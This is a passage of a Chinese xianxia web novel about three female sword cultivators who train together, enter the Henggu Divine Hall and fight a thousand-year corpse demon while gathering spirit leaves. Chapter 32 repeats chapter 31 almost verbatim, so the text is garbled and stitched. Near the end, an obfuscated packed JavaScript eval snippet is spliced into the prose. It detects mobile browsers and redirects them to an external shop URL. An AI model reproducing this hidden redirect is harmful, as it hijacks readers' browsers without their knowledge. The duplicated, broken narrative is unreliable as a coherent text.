她故意抖了抖剑穗上的水珠,溅了白浅一脸,“倒是你这小侄女,可得好好护着我点,不然下次被蛇围困,我可不一定记得收力。” “你!”白浅气鼓鼓地拍开梅子露罐口的蜜蜡,酸甜气息混着雨气在屋内散开,“陆丫头呢?不是说去秋池剑阁借《惊涛卷》了?”话音未落,陆青烟抱着裹着油纸的剑谱撞进门,九霄环佩琴在背上磕出闷响:“可累死我了!守阁的那个老顽固,非让我用三坛竹叶青换,这?”她晃了晃手中的酒坛,忽然盯着窗外愣住,“你们快看!”三人挤到窗前。但见雨幕深处的剑冢方向,腾起一股诡异的蓝雾。白浅指尖轻颤,昨夜凝在木盆里的冰莲竟浮上半空,花瓣上凝结的水珠化作细小冰晶,随着远处传来的剑鸣簌簌震颤。“是秋池剑阁的方向。”唐婉按住腰间剑柄,青叶剑在鞘中发出低吟,“听说他们新收了一批铸剑砂,莫不是”“管他呢!”陆青烟已抱着琴蹦上灶台,“趁雨大,咱们去后山溪涧合练如何?我新谱了曲子配冰魄诀!”她忽然压低声音,眼中闪着狡黠的光,“带上那坛酒,练完暖身子。”白浅笑着将梅子露塞进她怀里,冰蓝色真气悄然缠上窗棂。檐角铜铃急响,三道身影同时跃出窗外。雨丝打在发间眉梢,倒像撒了把细碎的星子。灶房内,那盆浮空的冰莲忽然绽开,映出三个女孩在溪石上练剑的残影。溪涧中,白浅的冰刃划开雨幕,素纱广袖被剑气绞出数十道裂口,却更显凌厉。唐婉抱剑倚在寒潭边,看她第二百三十七次挥出冰魄诀。潭水在剑锋过处凝成冰晶,又在下一瞬碎裂。“白浅师姐的腕子又稳了三分。”陆青烟盘腿坐在老槐树上,啃着半块桂花糕含糊道,“上回秋池剑阁那帮老妪还笑咱们年少轻狂。”话音未落,白浅突然收势转身。冰蓝色真气如瀑布般倾泻,将十丈外的山岩劈出三寸深的剑痕。“咳”陆青烟被糕点碎屑呛住,慌忙灌了口梅子酒。唐婉甩了甩剑上水珠,青叶纹的剑鞘映出她晒成小麦色的脖颈——这颜色是三个月前在剑阁熔炉旁监造新剑时留下的,当时飞溅的铜水还在她锁骨处烫了个小小的疤痕。三人中看似最纤弱的陆青烟忽然跃下树桠。九霄环佩琴横在膝头,琴尾七枚剑形玉坠叮当作响。她指尖轻拨,一曲《破阵子》裹着真气荡开,惊得寒潭中正在蜕皮的银鳞鱼纷纷跃出水面。“看招!”白浅低喝一声,冰魄诀凝成的剑气突然转向,将那条三尺长的银鱼轻轻托到唐婉面前。唐婉青叶剑出鞘半寸,剑气化作无形丝网裹住活鱼,转头对陆青烟笑道:“今晚加菜?”“要烤要蒸?”陆青烟眼睛发亮,手指在琴弦上乱弹一气,“我新调了椒盐料!”她话音未落,白浅的冰刃已架在她脖颈旁:“上次你烤的鱼,害我腹泻三日。”三个女孩笑闹间,山风卷起她们被汗水浸透的衣袂。白浅褪去稚气的脸庞上,那双总含着霜色的眼睛此刻泛着暖意;唐婉晒成蜜色的皮肤下,肌肉线条随着持剑姿势微微绷紧;就连最娇气的陆青烟,抱着琴奔跑时也显出猎豹般的轻盈。这大半年在剑冢、熔炉、溪涧的三重淬炼,早已将她们从娇柔少女磨成了真正的剑修。远处传来秋池剑阁的晨钟。白浅将银鱼抛回寒潭,冰蓝色真气在掌心凝成朵冰莲:“该去剑阁借《惊涛卷》了。”唐婉青叶剑入鞘时发出清越龙吟,陆青烟则把最后半块桂花糕塞进嘴里,含混不清地哼着新谱的剑歌。当她们的背影消失在山道转角,寒潭中那条银鳞鱼突然跃出水面,在半空划出三道交错的剑痕——正是方才三人演练时无意间留下的气机轨迹。巴山云顶的晨雾还未散尽。“八灵狐·剑魄!”白浅的喝声刺破林间薄霜。素色身影在荆棘丛中腾挪如鹤,青叶剑鞘点过带刺藤蔓时,竟将尖刺尽数震成齑粉。待到那株需三人合抱的古松前,她突然旋身收剑,剑柄倒撞在树干三寸处,“咔嚓”脆响中,整棵巨树从撞击处裂开蛛网纹,树冠簌簌抖落松针如雨。“白浅师姐又练成了!”陆青烟抱着九霄环佩琴从树冠跃下,琴尾玉坠与下坠的松果相撞,发出清越鸣响。唐婉自溪 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畔提着两尾银鳞鱼走来,青叶剑在鱼尾轻点,鱼便自动跃入她腰间竹篓:“这招剑魄式,怕是能劈开秋池剑阁的试剑石了。”白浅以剑拄地,素纱广袖已被汗水浸透。她望着裂成数瓣的古松,指尖微微发抖——这是她们一起闭关半个月来,首次完整使出《灵狐剑诀》第七式。陆青烟忽然拨动琴弦,一曲《雨霖铃》裹着真气荡开,惊得溪中游鱼纷纷跃出水面。唐婉将竹篓放在青石上,青叶剑出鞘半寸,剑气化作无形丝网裹住两条活鱼:“今晚加餐?我新学了炙鱼手法。”“要辣。”陆青烟盘腿坐在裂开的树桩上,运转《七仙女剑诀》平复气息。体内残存的筑基灵液正顺着奇经八脉游走,所过之处酸胀的肌肉渐渐舒缓。她望着掌心若隐若现的剑纹,忽然轻声道:“师傅,我何时能凝出第八道剑魄?”清风卷起满地松针。雨韵剑宗宗主雨灵长老和秋池剑阁阁主若曦长老的虚影浮现在树冠间。二位仙风道骨的女长老打量地上裂开的古松,眼中闪过赞许:“比为师我们预想的快了半载,功力已经突破中级位境界了?”她们忽然轻笑。“白浅指尖嵌入掌心,她手中长剑被震飞的嗡鸣声突然在耳畔炸响。前世的记忆如潮水般涌来——她跪在雨中,看着昆仑虚飘落的世家纹章,剑穗上的玉坠碎成七瓣——正是此刻琴尾悬挂的形状。”“两月之内,”雨灵和若曦的身影渐渐消散,“你必能凝出第八道剑魄。届时”她们的目光投向云海翻涌的远方,秋池剑阁的藏剑大典,你该去取回属于白家的。” “玄霜剑!”陆青烟突然插嘴,琴音骤然激昂。 唐婉青叶剑一抖,剑气将溪水劈成两截:“那柄失踪二十年的名剑,原是在秋池剑阁?” 白浅站起身,冰蓝色真气在周身凝成剑形光晕。她望着云海深处隐约可见的秋池剑阁,嘴角扬起锋利弧度:“昆仑虚墨渊当年说白家配不上你昆仑虚。”她突然并指为剑,斩向飘落的松针,“待我取回玄霜剑那日,倒要看看是谁配不上谁!”陆青烟的琴音陡然转急,唐婉的青叶剑在空中划出八道寒光。白浅深吸一口气,第八道剑魄在丹田处隐隐震颤这半个月来,她每日寅时起身撞树,午时在剑冢承受百道剑气加身,子时用寒潭冰水淬体,为的就是这一刻。“走!”她收剑入鞘,转身时素纱广袖翻飞如云,“去剑阁借《惊涛卷》,我要把第八式练成!”两个女孩笑着跟上。陆青烟的琴声里多了几分雀跃,唐婉的竹篓中银鱼甩尾溅起水花。当她们的身影消失在山道转角,那株裂开的古松突然“轰”地倒下,截面处隐约可见剑痕组成的“昆仑虚”三字。半个月的苦修,成果也是相当喜人。唐婉、白浅、陆青烟三人都是从笃行段下品的境界,直接窜到了笃行段中极位境界巅峰,只差临门一脚,就能晋升笃行段上品了。惜春之年,她们已不再是旁观者。她们,躬身入局了。 29. 恒古神殿婉心洁 唐婉、白浅、陆青烟三人虽已突破至笃行段中极位巅峰,只差临门一脚便能晋升上品。但她们很清楚,在这地煞大陆,这点修为不过是沧海一粟。“躬身入局”唐婉低声呢喃,青叶剑在鞘中轻鸣。她们写下的每一个字,经历的每一次生死,都不再只是为了个人的恩怨。她们是在拓展这宏大世界的边界,为后来者点亮一盏微灯。“仙尊峰,恒古神殿。”白浅素纱广袖在云海中翻飞,眼中倒映着远方那座巍峨神山,“那是地煞世界唯一承认女子婚契合法之地,也是我们此行的终点。”陆青烟指尖轻拨琴弦,九霄环佩发出一声清越之音:“可惜,世人只知我们的婚约,却不知这背后的凶险。”确实,在巴山夜雨城的年轻一代中,唐婉与陆青烟、白浅与陆青烟之间的婚约,早已传得沸沸扬扬。这并非因为她们天资绝世——在地煞大陆这个超大的女子帝国里,天才多如过江之鲫。秋池剑阁与雨韵剑宗虽强,却也只是三大顶尖势力之外的明珠。真正的巨擘,是一城、一楼、一殿。一城,巴山夜雨城;一楼,彩羽楼;一殿,便是她们此行的目的地——恒古神殿。在那些真正屹立于世界之巅的天之骄子面前,她们三人这点修为,怕是连前一百的榜单都挤不进去。同境界无敌固然好听,但若对手是化境、甚至是凌霄段的存在,这“无敌”的光环,不过是井底之蛙的痴语。“我们出名,不是因为剑,而是因为成了别人的谈资。”唐婉嘴角勾起一抹冷峭,“那便让这谈资,变得更值钱些吧。”仙尊峰,碧湖之畔。恒古神殿巍峨耸立,城墙由五米见方的巨石堆砌,箭楼与阵塔如猛兽的獠牙,散发着令人心悸的压迫感。三女收剑落地,汇入熙熙攘攘的人流。这里的女修着装迥异,来自地煞世界各地。有巴山夜雨城的劲装,有雨韵剑宗的素纱,更有许多不知名的小宗门服饰。她们或三五成群,或独行侠客,皆神色匆匆,带着对资源的渴望与对力量的追逐。“刚从仙尊峰北峰挖出的千年灵药,五百银币一株!”“四阶真武宝器‘天残剑’,剑刻十五道铭纹,三万五千枚银币!女侠,买来送女友再合适不过!”叫卖声不绝于耳。一位干瘦的老妪拦住唐婉,手中捏着一柄泛着白光的战剑,眼中闪烁着精光。唐婉笑着摇了摇头,目光却越过老妪,落在前方街道上一道引人注目的身影上。那是一位三十来岁的魔狼半女。她全身覆盖着浓密幽光的狼毛,上身仅以兽皮短衣裹身,露出平坦紧致的小腹,野性中透着别样的性感。她双手紧握一柄造型奇异的巨型狼牙剑,剑身粗犷,却暗藏玄机,刃上闪烁的诡异蓝光中,仿佛有无数冤魂在咆哮。她骑在一头二阶蛮兽银龙狮之 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上,身形矫健,皮毛如银,每一步踏地都发出沉闷的声响。魔狼半女大摇大摆地行走在街道中央,霸气侧漏,引得路人纷纷侧目退避。她身后,跟着十多名女剑修仆从,个个初窥段修为,身着统一黑衣,手握清一色的细长柳叶剑,眼神中透着对前方那道背影的敬畏与崇拜。“那是‘血蔷薇’莎莉丝。”陆青烟低声道,“恒古神殿这一代的狠角色,据说已至化境段。”唐婉瞳孔微缩。化境段,那是她们现在仰望都看不见的境界。就在这时,两道轻盈的身影与她们擦肩而过。那是两位容貌长得一模一样的双胞胎少女,背着造型精致的灵犀软剑,迈着轻盈的步伐走进城门。她们身着秋池剑阁的淡蓝色袍衫,领口绣着一朵洁白如雪的白云。“秋池剑阁的人也来了。”白浅蹙眉,“看来这恒古神殿内,要有场大风暴了。”唐婉看着那对双胞胎的背影,又看了看前方霸气侧漏的魔狼半女,最后目光落在身旁的陆青烟与白浅身上。这一路行来,她们从被保护的雏鹰,到如今能独当一面的剑修。惜春之年,她们躬身入局,踏入这恒古神殿,不为成神,只为在这吃人的世道中,杀出一条血路,为后来者,点亮一盏不至于迷失的微灯。“走吧。”唐婉收拢心神,青叶剑柄在掌心转了个圈,“去剑修道场。是龙是蛇,总要见个真章。” 30. 云阶问道砥砺行 恒古神殿东侧,剑修道场青黑色巨石铺就的广场,终年不息的风卷起细碎砂砾,打在脸上生疼。这里没有宗门内的鸟语花香,只有肃杀与铁血。唐婉、白浅、陆青烟三女刚踏入道场,便听见两声熟悉的呼唤。“婉儿!”“浅浅!”两道流光自天际掠至,化作雨韵剑宗雨灵长老与秋池剑阁若曦长老的身影。二位巨头竟联袂而至,这阵仗让三女心头一凛。“师尊(院主)!”三女连忙躬身行礼。雨灵长老浑浊的双目扫过三人,在唐婉身上停留最久。她点了点头,声音沙哑却透着一股欣慰:“婉儿,不到半年,从初窥跨入笃行中极位巅峰,你的剑道根基,比老身预想的还要扎实。”唐婉心中微动,恭敬道:“全赖师尊与若曦长老栽培。”“莫要骄傲。”若曦长老冷哼一声,指尖弹出两缕寒气,分别没入白浅与唐婉眉心,“你二人虽境界精进,但实战阅历尚浅。这恒古神殿外围的鬼雾岭,乃是八百年前风铂金仙陨落之地,血气与瘴气交织,正适合磨砺你们这身修为。”白浅接收完信息,娇躯一震,美眸中闪过一丝异彩:“风铂金仙?那位与妖兽之王东风地龙同归于尽的半步凌霄强者?”“正是。”雨灵长老取出三颗龙眼大小、通体洁白的避毒珠,分别递予三人,“鬼雾岭内,瘴气蚀骨,更有被金仙血气异变而成的鬼影豹出没。此行任务,便是深入岭内,采摘三玄聚灵叶。”陆青烟接过避毒珠,指尖微颤,脑海中不自觉浮现出前世戈壁裂缝与地火翻涌的画面。她深吸一口气,将不安压下,沉声道:“弟子领命。”“记住,”若曦长老目光如电,扫过三人,“修为提升太快,根基难免虚浮。此行不仅是采摘灵叶,更是要你们在生死之间,将那股浮躁之气打磨干净。只有将基础打得牢固,将来才能在剑道修仙之路上走得更远。”三女对视一眼,皆看到彼此眼中的坚定。“弟子明白!”雨灵与若曦二位长老不再多言,身形化作流光消散,只留下一句回荡在道场上空的话:“三颗避毒珠,保你们在岭内一日无忧。一日之后,若未归,我等便去收尸。”鬼雾岭,入口。灰黑色的瘴气如活物般翻涌,散发着腐朽与金属腥气的怪异味道。三女将避毒珠含入口中,一股清凉之意瞬间流遍四肢百骸,将那试图侵入的阴秽之气隔绝在外。“走!”唐婉低喝一声,身形展动,如一道青色闪电般射入雾气之中。白浅与陆青烟紧随其后。岭内寂静得可怕,能见度不足十丈。脚下的腐殖土松软湿滑,四周时不时传来不知名生物的窸窣声,更添几分阴森。行出约一炷香的时间,走在最前的白浅猛地停下脚步。她那双清冷的眸子里闪过一丝狐族的敏锐,低声道:“小心,左前方,腥气很重。”话音未落,雾气中猛地亮起数双幽绿色的眼睛!伴随着低沉的嘶吼,三头身形矫健、皮毛灰败、周身缠绕着淡淡黑气的鬼影豹,如同鬼魅般窜了出来!“是变异妖兽!它们的爪牙带毒!”陆青烟出声提醒,九霄环佩琴横于身前,琴音未响,但一股浩然正气已护住周身。“放肆!”白浅冷喝一声,素色身影翩若惊鸿。她手中长剑一振,使出的正是秋池剑阁绝学《霜月九式》之起手式——“月寒影孤”!剑光如冷月清辉洒下,瞬间封死了领头鬼影豹的扑击路线。森然剑气弥漫,周遭温度骤降,那鬼影豹的动作竟因这股寒意出现了一丝凝滞。就在白浅缠住一头的同时,另外两头鬼影豹分左右袭向唐婉。唐婉眸光一凝,不见慌乱。她脚步轻移,身形宛如九天玄女翩翩起舞,手中长剑划出曼妙而致命的轨迹。一时间,剑光分化,似有七道不同的仙影同时出剑!或凌厉、或 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缥缈、或厚重、或轻灵,正是她机缘所得的《七仙女剑法》!这套剑法暗合北斗七星之势,攻守一体,精妙绝伦。两头鬼影豹的攻势被尽数化解,竟被逼得连连后退。“结三才阵!”陆青烟清叱一声。她并未贸然上前硬撼,而是稍退半步,脚踏奇步,手中长剑直刺横削。她的剑法看似朴实无华,却总能出现在最关键的位置,格开致命的攻击。她所施展的,乃是圣宗传承的根本功法——《浩然正气诀》。真气中正平和,醇厚绵长,虽不擅杀伐,却最是稳固防线,且对阴邪瘴气有奇效。在三女默契无间的配合下,鬼影豹的凶猛攻势被一一化解。唐婉的剑法愈发灵动,节省气力;白浅的霜月剑气则重在控制,限制妖兽速度;而陆青烟则成为了最坚实的壁垒。很快,这三头鬼影豹便在剑光中倒下。战斗结束,唐婉检查剑锋,发现沾染的暗紫色兽血正发出“滋滋”声响,竟有轻微腐蚀性。“这毒血厉害,大家小心。”陆青烟走上前,并未直接使用浩然正气,而是并指如剑,指尖一缕柔和的水蓝色剑气悄然吐出。那剑气如清泉流淌,轻轻拂过剑身,腐蚀性的毒血竟被悄然裹挟、稀释,最终消散无形。这正是她在地隐门习得的《隐水剑法》,配合丹田内那株绛珠仙草的生机,不仅能卸力,更具备奇特的净化之能。白浅感受着口中避毒珠清凉之意正在缓慢流逝,凝望雾气更深处,语气凝重:“必须加快速度了。避毒珠支撑不了太久,越往核心,瘴气越浓,妖物也越强。”唐婉点头,眼中闪过坚定:“机缘险中求。我们有仙缘传承,有青丘秘技,更有青烟的圣裔底蕴和治愈之能。联手之下,这鬼雾岭,不过是我们剑道的一块磨刀石!”三女相视一笑,调整气息,再次化作三道流光,向着那金仙陨落的更深处,疾驰而去。 31. 鬼岭寻仙叶剑鸣 峡谷入口,瘴气如活物般翻涌,色泽已不再是单纯的灰黑,而是透着一股诡异的暗红,仿佛凝固了八百年的陈旧血渍。唐婉、白浅、陆青烟三女刚至边缘,便觉一阵头晕目眩袭来,经脉中的真气竟有滞涩之感。“好厉害的死寂之气!”白浅脸色微白,连忙运转《霜月九式》,一股冰寒剑气游走全身,将那试图侵入的阴秽之气冻结、逼出。陆青烟指尖泛起浩然正气,金光流转,如烈日灼烧露水,将不适感驱散。唐婉则催动《玄女帝经》,玉净真气在体内周天循环,不仅净化了微量毒气,更让精神为之一振。“避毒珠只能挡住大多数,若吸入过量,或是被妖兽抓伤,依旧会中毒。”唐婉当机立断,“我们速去速回,不可恋战!”三女施展身法,化作三道流光,沿着陡峭湿滑的崖壁,向着地底深处飞掠而去。这鬼雾岭核心竟是一个巨大的漏斗型深渊,深不见底。她们向下飞掠了千余米,回头仰望,原本巨大的峡谷入口已缩小如针眼,透出的一丝天光,仿佛是漆黑天幕上的一道微小裂缝,给人以被大地吞噬的压抑感。“这地方,好生诡异。”陆青烟蹙眉,九霄环佩琴发出低沉的嗡鸣,似在警示。继续下潜,气温骤升。四周的岩石变得滚烫,空气中弥漫着一股焦糊与腐朽混合的怪味,那是风铂金仙陨落后,血肉与大地融合了八百年的气息。不知过了多久,一道暗红色的光芒在前方亮起。终于抵达谷底。眼前,是一扇高达百米的巨石门。门扉由玄铁铸成,表面雕刻着狰狞的异兽图腾,在暗红光芒的映照下,仿佛那些石兽随时会复活扑食。石门已然开启,留出数米宽的缝隙。缝隙后,浓稠得化不开的瘴气翻滚而出,但在门框边缘的岩石上,却奇迹般地生长着一株株洁白如玉、散发着柔和白光与馨香的灵草。三玄聚灵叶!它们通体剔透,叶片舒展,每一片都仿佛汇聚了天地间最纯净的灵气,与周围五彩斑斓的致命瘴气形成了触目惊心的对比。 “这么多!”白浅低呼,眼中闪过惊喜。 这等灵药在外界一株难求,此处却如野草般丛生。 “小心守护。”陆青烟提醒道,她敏锐的感知捕捉到暗处有一股不寻常的妖气在窥伺。 三女不敢大意,在石门附近仔细搜寻。她们发现,越是靠近那座散发着暗红光芒的鬼雾山(风铂金仙所化),三玄聚灵叶的数量越多,品质也越好。但相应地,那里的瘴气毒性也呈几何级数增强,即便有避毒珠,光晕也开始摇曳不定。 “先采外围的。”唐婉做出决断,“见好就收,不可贪心。” 三女联手,凭借默契的配合,花费近一个时辰,在外围区域成功采集了数百株三玄聚灵叶,全部用玉盒封存妥当。 “有了这些,我们冲击更高境界的把握就大得多了。”白浅清点着收获,难掩喜悦。 唐婉却抬头望向那座如巨兽心脏般跳动着暗红光芒的山体,压下了心中那股贪婪的冲动:“此地不宜久留。我感觉有一双眼睛在暗处盯着我们,而且避毒珠快要支撑不住了。” 就在她们准备原路返回的那一刻“嗖!”一道阴寒刺骨的冷风,毫无征兆地从她们身后袭来!陆青烟反应最快,《隐水剑法》瞬间展开,剑势如水流般柔韧,试图化解这股寒意。然而,一只覆盖着淡淡黑气、冰冷彻骨的手掌,竟如鬼魅般穿透了剑幕!指尖直取唐婉后颈,速度快得超越了思维的反应!“小心!”白浅娇叱一声,《霜月九式》中的“月华凝冰”骤然使出。森寒的剑气瞬间冻结空气,试图阻挡那只手掌。但那鬼影的速度更快,身形微微一晃,便避开了主要的剑气冰冻范围。“嗤啦!”冰冷的指尖,终究还是拂过了唐婉的脖颈,留下了一道瞬间麻木的寒霜痕迹。三女瞬间背靠背结阵,警惕地望向攻击来源。只见浓郁的瘴气中,一道人形身影缓缓走出。它身形扭曲,关节不自然地凸起,周身笼罩在黑气中,唯有一双闪烁着幽绿光芒的眼睛,透着无尽的死寂与妖异。千年尸魈!而且,是吸收了风铂金仙陨落后的磅礴血气,由鬼影豹异化而成的千年尸魈!“闯入者……”尸魈的声音沙哑断续,带着蛊惑人心的精神波动,“留下……灵叶……或者……留下性命……”威压如山崩海啸般袭来,远超之前遇到的任何妖兽。“它不仅能幻形,精神攻击也极强!”陆青烟急忙催动《浩然正气诀》,一股中正平和、至大至刚的气息扩散开来,护住三女心神,抵御着那摄魂夺魄的诡异波动。大战,一触即发!尸魈利爪撕裂空气,带起道道黑芒,速度快得只剩残影。唐婉眸光一凝,不见慌乱。她脚步轻移,身形宛如九天玄女翩翩起舞,手中长剑划出曼妙而致命的轨迹。一时间,剑光分化,似有七道不同的仙影同时出剑,或凌厉、或缥缈、或厚重、或轻灵,赫然是她机缘所得的《七仙女剑法》!这套剑法暗合北斗七星之势,攻守一体,精妙绝伦,顿时将尸魈的攻势尽数化解,甚至还逼得它连连后退。“结三才阵!”陆青烟再次喝道,同时她自己也动了。她并未施展多么精妙的剑法,但每一步踏出,都暗合某种韵律,仿佛与脚下大地相连,手中长剑直刺横削,看似朴实无华,却总能出现在最需要的地方,格开致命的攻击。她所修炼的,乃是圣宗传承中的根本 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白浅也动了。她手中长剑一振,使出的正是秋池剑阁的绝学《霜月九式》。剑光如冷月清辉,洒下一片凄迷的剑影,不仅精准地封住了尸魈的扑击路线,那森然的剑气更让周遭温度骤降,使得尸魈的动作出现了一丝凝滞。她体内真气奔涌不息经脉同时发力,浑厚的真气充斥全身,浑然一体。这力量,不仅源于秋池剑阁的正宗心法,更深处,还隐藏着一股源自青丘的妖异与灵动——那是《青丘涂山剑诀》的根基在悄然支撑。在三女默契无间的配合下,千年尸魈的凶猛攻势被一一化解。唐婉的剑法愈发灵动,节省气力;白浅的霜月剑气则重在控制,限制尸魈速度;而陆青烟则成为了最坚实的壁垒。然而,尸魈实力太过强悍。激战中,白浅为了掩护唐婉,肩头被尸魈的利爪划开一道深可见骨的伤口!黑气瞬间弥漫,那是带有剧毒的瘴气入体!“浅浅!”唐婉惊呼。陆青烟立刻闪身而至,指尖泛起充满生机的翠绿光芒,轻轻按在白浅伤口处。那正是她丹田内那株绛珠仙草的本源之力!那侵蚀性的黑气如遇克星,迅速消退,伤口也以肉眼可见的速度愈合。尸魈见状,幽绿的眼眸中闪过一丝惊疑,随即转为贪婪:“好精纯的生命本源……吞了你……我必能再进一步……”它放弃了唐婉和白浅,身形化作一道黑烟,全力扑向正在为白浅疗伤的陆青烟!速度快到超越了之前的极限!“休想!”唐婉和白浅同时厉喝,不顾自身安危,全力拦截。唐婉将《玄女帝经》催动到极致,剑光如银河泻地;白浅则不惜耗损元气,施展出《青丘涂山剑诀》中的秘技,狐影乍现,剑势诡谲难测。“轰!”三股强大的力量猛烈碰撞,爆发出惊人的气浪,将周围的瘴气都暂时驱散了一片。尸魈被这舍命一击震退数步,身形一阵模糊不稳定。“就是现在!走!”唐婉抓住这稍纵即逝的机会,与白浅、陆青烟施展出《九天玄女心经》中最快的御风飞仙身法,向着来路疾驰而去。那千年尸魈似乎对峡谷上方的环境有所忌惮,或是需要稳固受创的幻形,并未全力追赶,只是发出一声充满不甘的尖啸,回荡在深邃的谷底。三女不敢有丝毫停留,一路飞奔,直到冲出鬼雾岭的范围,感受到外界清新的空气和久违的阳光,才终于松了口气,后背已被冷汗浸透。历经艰险,她们终于带着数百株珍贵的三玄聚灵叶,安然离开了这危机四伏的鬼雾岭。这一场生死历练,让她们的羁绊更深,也让她们隐约触碰到了那个更高世界的门槛。 32. 灵叶淬魂启剑心 峡谷入口,瘴气如活物般翻涌,色泽已不再是单纯的灰黑,而是透着一股诡异的暗红,仿佛凝固了八百年的陈旧血渍。唐婉、白浅、陆青烟三女刚至边缘,便觉一阵头晕目眩袭来,经脉中的真气竟有滞涩之感。“好厉害的死寂之气!”白浅脸色微白,连忙运转《霜月九式》,一股冰寒剑气游走全身,将那试图侵入的阴秽之气冻结、逼出。陆青烟指尖泛起浩然正气,金光流转,如烈日灼烧露水,将不适感驱散。唐婉则催动《玄女帝经》,玉净真气在体内周天循环,不仅净化了微量毒气,更让精神为之一振。“避毒珠只能挡住大多数,若吸入过量,或是被妖兽抓伤,依旧会中毒。”唐婉当机立断,“我们速去速回,不可恋战!”三女施展身法,化作三道流光,沿着陡峭湿滑的崖壁,向着地底深处飞掠而去。这鬼雾岭核心竟是一个巨大的漏斗型深渊,深不见底。她们向下飞掠了千余米,回头仰望,原本巨大的峡谷入口已缩小如针眼,透出的一丝天光,仿佛是漆黑天幕上的一道微小裂缝,给人以被大地吞噬的压抑感。“这地方,好生诡异。”陆青烟蹙眉,九霄环佩琴发出低沉的嗡鸣,似在警示。继续下潜,气温骤升。四周的岩石变得滚烫,空气中弥漫着一股焦糊与腐朽混合的怪味,那是风铂金仙陨落后,血肉与大地融合了八百年的气息。不知过了多久,一道暗红色的光芒在前方亮起。终于抵达谷底。眼前,是一扇高达百米的巨石门。门扉由玄铁铸成,表面雕刻着狰狞的异兽图腾,在暗红光芒的映照下,仿佛那些石兽随时会复活扑食。石门已然开启,留出数米宽的缝隙。缝隙后,浓稠得化不开的瘴气翻滚而出,但在门框边缘的岩石上,却奇迹般地生长着一株株洁白如玉、散发着柔和白光与馨香的灵草。三玄聚灵叶!它们通体剔透,叶片舒展,每一片都仿佛汇聚了天地间最纯净的灵气,与周围五彩斑斓的致命瘴气形成了触目惊心的对比。 “这么多!”白浅低呼,眼中闪过惊喜。 这等灵药在外界一株难求,此处却如野草般丛生。 “小心守护。”陆青烟提醒道,她敏锐的感知捕捉到暗处有一股不寻常的妖气在窥伺。 三女不敢大意,在石门附近仔细搜寻。她们发现,越是靠近那座散发着暗红光芒的鬼雾山(风铂金仙所化),三玄聚灵叶的数量越多,品质也越好。但相应地,那里的瘴气毒性也呈几何级数增强,即便有避毒珠,光晕也开始摇曳不定。 “先采外围的。”唐婉做出决断,“见好就收,不可贪心。” 三女联手,凭借默契的配合,花费近一个时辰,在外围区域成功采集了数百株三玄聚灵叶,全部用玉盒封存妥当。 “有了这些,我们冲击更高境界的把握就大得多了。”白浅清点着收获,难掩喜悦。 唐婉却抬头望向那座如巨兽心脏般跳动着暗红光芒的山体,压下了心中那股贪婪的冲动:“此地不宜久留。我感觉有一双眼睛在暗处盯着我们,而且避毒珠快要支撑不住了。” 就在她们准备原路返回的那一刻“嗖!”一道阴寒刺骨的冷风,毫无征兆地从她们身后袭来!陆青烟反应最快,《隐水剑法》瞬间展开,剑势如水流般柔韧,试图化解这股寒意。然而,一只覆盖着淡淡黑气、冰冷彻骨的手掌,竟如鬼魅般穿透了剑幕!指尖直取唐婉后颈,速度快得超越了思维的反应!“小心!”白浅娇叱一声,《霜月九式》中的“月华凝冰”骤然使出。森寒的剑气瞬间冻结空气,试图阻挡那只手掌。但那鬼影的速度更快,身形微微一晃,便避开了主要的剑气冰冻范围。“嗤啦!”冰冷的指尖,终究还是拂过了唐婉的脖颈,留下了一道瞬间麻木的寒霜痕迹。三女瞬间背靠背结阵,警惕地望向攻击来源。只见浓郁的瘴气中,一道人形身影缓缓走出。它身形扭曲,关节不自然地凸起,周身笼罩在黑气中,唯有一双闪烁着幽绿光芒的眼睛,透着无尽的死寂与妖异。千年尸魈!而且,是吸收了风铂金仙陨落后的磅礴血气,由鬼影豹异化而成的千年尸魈!“闯入者……”尸魈的声音沙哑断续,带着蛊惑人心的精神波动,“留下……灵叶……或者……留下性命……”威压如山崩海啸般袭来,远超之前遇到的任何妖兽。“它不仅能幻形,精神攻击也极强!”陆青烟急忙催动《浩然正气诀》,一股中正平和、至大至刚的气息扩散开来,护住三女心神,抵御着那摄魂夺魄的诡异波动。大战,一触即发!尸魈利爪撕裂空气,带起道道黑芒,速度快得只剩残影。唐婉眸光一凝,不见慌乱。她脚步轻移,身形宛如九天玄女翩翩起舞,手中长剑划出曼妙而致命的轨迹。一时间,剑光分化,似有七道不同的仙影同时出剑,或凌厉、或缥缈、或厚重、或轻灵,赫然是她机缘所得的《七仙女剑法》!这套剑法暗合北斗七星之势,攻守一体,精妙绝伦,顿时将尸魈的攻势尽数化解,甚至还逼得它连连后退。“结三才阵!”陆青烟再次喝道,同时她自己也动了。她并未施展多么精妙的剑法,但每一步踏出,都暗合某种韵律,仿佛与脚下大地相连,手中长剑直刺横削,看似朴实无华,却总能出现在最需要的地方,格开致命的攻击。她所修炼的,乃是圣宗传承中的根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594657|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功法——《浩然正气诀》。此诀修炼出的真气中正平和,醇厚绵长,尤其善于温养肉身、稳固根基,并在对抗邪祟瘴气时有奇效。 白浅也动了。她手中长剑一振,使出的正是秋池剑阁的绝学《霜月九式》。剑光如冷月清辉,洒下一片凄迷的剑影,不仅精准地封住了尸魈的扑击路线,那森然的剑气更让周遭温度骤降,使得尸魈的动作出现了一丝凝滞。她体内真气奔涌不息经脉同时发力,浑厚的真气充斥全身,浑然一体。这力量,不仅源于秋池剑阁的正宗心法,更深处,还隐藏着一股源自青丘的妖异与灵动——那是《青丘涂山剑诀》的根基在悄然支撑。在三女默契无间的配合下,千年尸魈的凶猛攻势被一一化解。唐婉的剑法愈发灵动,节省气力;白浅的霜月剑气则重在控制,限制尸魈速度;而陆青烟则成为了最坚实的壁垒。然而,尸魈实力太过强悍。激战中,白浅为了掩护唐婉,肩头被尸魈的利爪划开一道深可见骨的伤口!黑气瞬间弥漫,那是带有剧毒的瘴气入体!“浅浅!”唐婉惊呼。陆青烟立刻闪身而至,指尖泛起充满生机的翠绿光芒,轻轻按在白浅伤口处。那正是她丹田内那株绛珠